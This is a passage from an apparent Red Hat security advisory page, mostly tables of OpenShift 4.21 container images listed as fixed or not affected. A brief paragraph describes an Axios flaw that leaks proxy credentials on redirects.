| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:51cbcaa1d10ded9608c0b17dcb99d77786586edf4a5db92e8205075129ec6318_arm64 | — |
Vendor Fix
fix
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9dc9ccd011217972cef70a48af37278716c9ce47ed6d0a5d8686a3ac607c0a64_ppc64le | — |
Vendor Fix
fix
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:eda11e652e4e330f3cdd881504b4886fec1c7efb74be88252e3ac906a5964044_amd64 | — |
Vendor Fix
fix
|
Known not affected
82 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:061015f468b484041f552ddb246024c4b1475aba2be6b5ed529fdb5a1f2e323f_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:b96ddf35d0e8a292d986e81420c93aa885fc455fcaf616a915491095b0caec0e_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:e21d39916b8a2d702c5adc1bcda18c7b6ddd3a9cfc09864e82c0cdf5188b301b_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:f31992f179936b6b55311d2c673b09ed29a27baa8a28ece8859d6d04d09ad81e_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:989ff868950ddcfb8dbc15092118c85476be437177b29016e3d6e148c5523334_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:b560fc8b23c8d1a7e362ffe84a26413cf5c5be7bae673052f035319f0e76b188_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:f1cfd18b9ae0ca40e40e0f941ae8d3215dbe7ba51e2bbd32310017e70eccffa5_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:f2031994576d4640f55cf0febf09b4f03ba9eaeaf433c1266a636a1fe2357de7_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:323728d967c18ee9d1c2aa15b1847d0d27cfeb23f75a5f9fa25ae469f35319cf_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:4b96564bdb684813b8fdc7f0257f5586bd3f2f15fa53afaa3a3139beaee71617_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:aa9d5a87e03a61bb8cffaf75b1ee9db23fd6232bc594e1b1152e796083778edd_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:ec6e3caaad9567c2c0e423880f2e7b15f45c8596ee792b784f7fcca05ea28f66_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:6bdbe43aebe603002314b78857288bfb37f5bf8cae3a96d0e6b378b53a277312_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:938e55ebf1d2297f018f1d67c0105d874c524fdbeb587b7f4901b06ca2e3be34_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:99158d48956d3c0ab7d7199136b2c342c49daba19a91d2755ef6ea42c3e23bc0_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:9eb40419d902bbcfac7032918098adc7e91db26ebd9a1ecdf294626352d5c4a0_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:14d3506a84c56ce94db20e3ed1763deb9f72d0febc1a7bb2c8c8c6edfb30c9cd_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:08681a7e9dae6792a5897594769beaf151bf52e489378a133886313f8dac398f_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3fac643abb746b79b89a49fb5d762adac833e3265b83a832cedb3c7254ab6518_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:bd26beeab9ce22eab5cde362ac3610fb83c24d5525075363c50131e8000eb5e8_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:d0095c609b0c0dc6be36865e426e6c97c1793e282ccb150daf5eaea326cc03db_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:387e994a39948184388421bc4e2bfdfd604ebb18b0e3fbb209b256ac03cc944f_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:865891f674c073eb479be00ea69d4a24546dea11bf1e123b3358dc0dad2836c6_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:5d815836e31186ee2438933286395b35c6043986a1c55496f6314dc0aa796ccb_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:677b973d8853977b513318ec5acc866a8ff7adbc6c27f02e3f2b3de946104d57_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:98c8e94df91ff429ac6b104ac3fbd345273f0bcdcd929f2e38bc64aac6c2b1fd_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:af29610cf522f1952006878a267b7bc8c624b0ba975da5bbf8c3b84c23c72d98_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:14b84478be017b16f2c699ab6248450a9f8862313fc4ef38c23b5ae7bbbd27c5_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:155201b7a38a18f69000651e3b0ecdcb19815fb0bfe2f7971b7b49b7a626ac5c_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:9628fc8b3effe793a58cc83f47d8260cbfede603bdbaabd5f4fa78c410f77d57_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:f879e563271c2bf9c4897a5011e6d153fee9085b93cd1dff3d6ae1ce78db1fca_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:09c3b1dab5e555137dccb0a932b329f64067caf6e3706843b7268d6083ef0854_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5786d42ae90f710ca41c9cb0dc318fd7a3c40c8a49c922ad5c57fe98d15deb03_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5e9e2ec5df31d1d37c3faba01952b21b974a3dce50a6bba6b35dd450d1f75fd7_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e082034afc446c8bb29c7aeac67ded281d931695af8f9dae1fd03ef5c4342252_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:9ce038b5fb35619ac1d518bb904d973a87e54a030bf3350f653d84095d701fea_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:c25cf4db4e05f4759b45b7b46d551396627f6c8b72c62168ad1d9d560f016e1b_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:c8945cfb5c06ce3c0a6b0af2ee6c833a14c2a51c05901a8f18aec232e1705567_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:e3be367267b6667ac1429e9f8dd26835aefa03b22a1dad51a8116ac41ee91e84_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:3c78e7b587d9a96d61d64c1a6a09340978d2a075cc34019e45763a7f94d3c7bb_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:4ae1938d0303894656d6d0aa0923fe88785632ee55e0ed46553a54ace495cd10_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:664d9b418f753e8cdbafb0d22f97bb8c0b2097b4d749ea87bf340cc4cb732b09_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:6e4184f47fcf6e187f4c7fac3f1058d575235ca8ec8a118434526ae4a90a9ac8_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:0bab4308f7c309a814f712e39607196d35b40db9dd4616a5d9cca862dd9bebc6_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1ff44c8741a46e16c5511cb5d4fea1706578ff9aa4115481b018b145d1e90aca_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:366ab14ae5460ad0052c556eb30665873a0eb5e164674b56292dd8af70d74807_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:75daf2f2d96d1122e7f6b8fcab558c5d147d812e418107c0b2c16d1b80aa8c59_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:1709dde712ec24c1f771a0bbdf70a2fe298b911c8528a2dc9eef2ab258d36788_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:3b3ef5d55fb3f63ca291717035f5e076b2bd14921d58be0abd399f590be69de0_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:6138073a9b3c5f26146fdacc429b1be38555c25f9cb0934fdfedeedd962e514c_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:c14387a983d59f6c8a62e6591e162019c46902bd4bddf922d03e7bcfd16f7c9c_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:0aa5ce159112edf887a68bac028b860f0087344bae6773c0707421fe94efbf83_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:13b892be223845edeedb6df843edc3c84539c0f7b5849cfbdf1431e891f4d387_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:3eb2cd4352f5f3110a6234c599e8ed2e1f028505294043513d8fda46cb30f511_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:936b7bc4d391f06895399ee89aa43b02316e79cf8436fab198c0e485165ff92c_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:591d0e9a58fbb78cc9bd3a5d2794f4947d1277e2b7ff856ff26c92a15b54ef5d_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:93b12271a9cbb5386c49bde23a4fd0c418410ade915b89501b67976638f1b394_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:8106794a91fc7f08da90c997df3f00b9044782e81b6cda20580b17367588df15_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:f6ddc9d891309a979c07a9d2462fcaa62af6912a1cbb8f986e678c79b29d7b2e_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:6a4410c46718fe6010fad0d6c6b578a2347e61c687da6fa8e6f9220c18085c38_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:cb1bbd2c6ebdc80d0b55b9e24af9afe0e9147c0d56d4ccb2e06910c339aad92d_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:4b531989cffbba08feb30500f836332f2ac5e05f67f5b0d3466344ca56844234_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:97e86b1ec0fb8c9320b643ceb46cee693d78059db2251e96ea48acbc3e8d77d4_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:b7d65cce3142f1e692c846b05a2cb737c1de760815dd003a4eb14c42bc381684_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:ce8035f8ddf2521152896e41e088e5f69ccb62db3ca6f3bff461b1fcfd002e66_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:1fa798e8929bf9ca5a0248df695a7bd9e4a9800fa3a49aa6c711f5460452303b_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:25649934df8b81bb967c2714cd0151acf22a59f0e1ba25f0f564803cf86a2c53_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:37e366676577cd3c67828c64542540ddbf1bd3866538841a844a34096ad4bc97_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:6d23762eeb123e9150385fd77695841aa2fbc22e0eafd5ccbd31b17b31d043ee_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:2cfba758f3448568e6f844a2c380de62c2d84d2d21c7033a91bab994994fb28d_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:62b9725f0852dfa627d030aee5dd8b3259e84a6f0087d3c970a08361b85ecc01_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:adb184389c661980ee1274a3eddf64221101465bc12c83895f981721508f18c3_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:dbf3bf45e958c3e521cd2f1965ed1f6eed1edc7ad1b2ce22be9930d9fdddf21f_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:5c543b465d9c53c8f34458a00e7f74586d91333301770e21054ce7120fa0e8a1_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:a1602d42232b96a0a9ce2f8cf5a809e80e9a9f4752c6845342af7dbb94729070_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:d9cda770f446e132541a740719fda07af700f1ce372a608bde61fb84e42afa2d_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:f680ee32b9ead50a2b09c43405f3e20763b99025ac3f2a186bf6aa56d41425c5_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:1bed594d53537de5cec4d21ec152a8cf769cbcc4a300c233331e79b62d2cfe31_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:6a1c00c60c999234bd4ccd8131ba9ea9d6875bdfb889dccf8db5948d41238110_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:a0192fc0b5ece7d29fe95bd1bcca4cfb98c3540fc0c7a365da6a0ddce097fa41_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:d3ee62e979e6dbfbb846eb60a52d8fa95bfa59a42ccca5cba925d2380c7f96b4_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-vsphere-problem-detector-rhel9@sha256:4117dc54a8f501a6bc579b22cc8ad5ad0360ba54bbe8c8453d11dbdac480f4f7_amd64 | — |
Threats
Impact
Important
A flaw was found in Axios, a promise-based HTTP client, specifically in its Node.js HTTP adapter. When Axios is configured to use an authenticated proxy and follows a redirect, it may inadvertently send the Proxy-Authorization header, containing proxy credentials, to the redirect target. This can lead to the disclosure of sensitive proxy credentials to an unintended remote server.
7.5 (High)
Affected products
Fixed
4 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:214a54e1cdab555aca4d89ba2ae3dd825cca158cb1d74271d1a21c5d385647d4_s390x | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:51cbcaa1d10ded9608c0b17dcb99d77786586edf4a5db92e8205075129ec6318_arm64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9dc9ccd011217972cef70a48af37278716c9ce47ed6d0a5d8686a3ac607c0a64_ppc64le | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:eda11e652e4e330f3cdd881504b4886fec1c7efb74be88252e3ac906a5964044_amd64 | — |
Vendor Fix
fix
Workaround
|
Known not affected
82 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:061015f468b484041f552ddb246024c4b1475aba2be6b5ed529fdb5a1f2e323f_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:b96ddf35d0e8a292d986e81420c93aa885fc455fcaf616a915491095b0caec0e_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:e21d39916b8a2d702c5adc1bcda18c7b6ddd3a9cfc09864e82c0cdf5188b301b_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:f31992f179936b6b55311d2c673b09ed29a27baa8a28ece8859d6d04d09ad81e_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:989ff868950ddcfb8dbc15092118c85476be437177b29016e3d6e148c5523334_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:b560fc8b23c8d1a7e362ffe84a26413cf5c5be7bae673052f035319f0e76b188_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:f1cfd18b9ae0ca40e40e0f941ae8d3215dbe7ba51e2bbd32310017e70eccffa5_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:f2031994576d4640f55cf0febf09b4f03ba9eaeaf433c1266a636a1fe2357de7_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:323728d967c18ee9d1c2aa15b1847d0d27cfeb23f75a5f9fa25ae469f35319cf_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:4b96564bdb684813b8fdc7f0257f5586bd3f2f15fa53afaa3a3139beaee71617_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:aa9d5a87e03a61bb8cffaf75b1ee9db23fd6232bc594e1b1152e796083778edd_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:ec6e3caaad9567c2c0e423880f2e7b15f45c8596ee792b784f7fcca05ea28f66_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:6bdbe43aebe603002314b78857288bfb37f5bf8cae3a96d0e6b378b53a277312_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:938e55ebf1d2297f018f1d67c0105d874c524fdbeb587b7f4901b06ca2e3be34_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:99158d48956d3c0ab7d7199136b2c342c49daba19a91d2755ef6ea42c3e23bc0_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:9eb40419d902bbcfac7032918098adc7e91db26ebd9a1ecdf294626352d5c4a0_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:14d3506a84c56ce94db20e3ed1763deb9f72d0febc1a7bb2c8c8c6edfb30c9cd_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:08681a7e9dae6792a5897594769beaf151bf52e489378a133886313f8dac398f_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3fac643abb746b79b89a49fb5d762adac833e3265b83a832cedb3c7254ab6518_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:bd26beeab9ce22eab5cde362ac3610fb83c24d5525075363c50131e8000eb5e8_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:d0095c609b0c0dc6be36865e426e6c97c1793e282ccb150daf5eaea326cc03db_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:387e994a39948184388421bc4e2bfdfd604ebb18b0e3fbb209b256ac03cc944f_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:865891f674c073eb479be00ea69d4a24546dea11bf1e123b3358dc0dad2836c6_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:5d815836e31186ee2438933286395b35c6043986a1c55496f6314dc0aa796ccb_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:677b973d8853977b513318ec5acc866a8ff7adbc6c27f02e3f2b3de946104d57_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:98c8e94df91ff429ac6b104ac3fbd345273f0bcdcd929f2e38bc64aac6c2b1fd_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:af29610cf522f1952006878a267b7bc8c624b0ba975da5bbf8c3b84c23c72d98_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:14b84478be017b16f2c699ab6248450a9f8862313fc4ef38c23b5ae7bbbd27c5_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:155201b7a38a18f69000651e3b0ecdcb19815fb0bfe2f7971b7b49b7a626ac5c_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:9628fc8b3effe793a58cc83f47d8260cbfede603bdbaabd5f4fa78c410f77d57_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:f879e563271c2bf9c4897a5011e6d153fee9085b93cd1dff3d6ae1ce78db1fca_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:09c3b1dab5e555137dccb0a932b329f64067caf6e3706843b7268d6083ef0854_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5786d42ae90f710ca41c9cb0dc318fd7a3c40c8a49c922ad5c57fe98d15deb03_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5e9e2ec5df31d1d37c3faba01952b21b974a3dce50a6bba6b35dd450d1f75fd7_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e082034afc446c8bb29c7aeac67ded281d931695af8f9dae1fd03ef5c4342252_arm64 | — |
Workaround
|
|
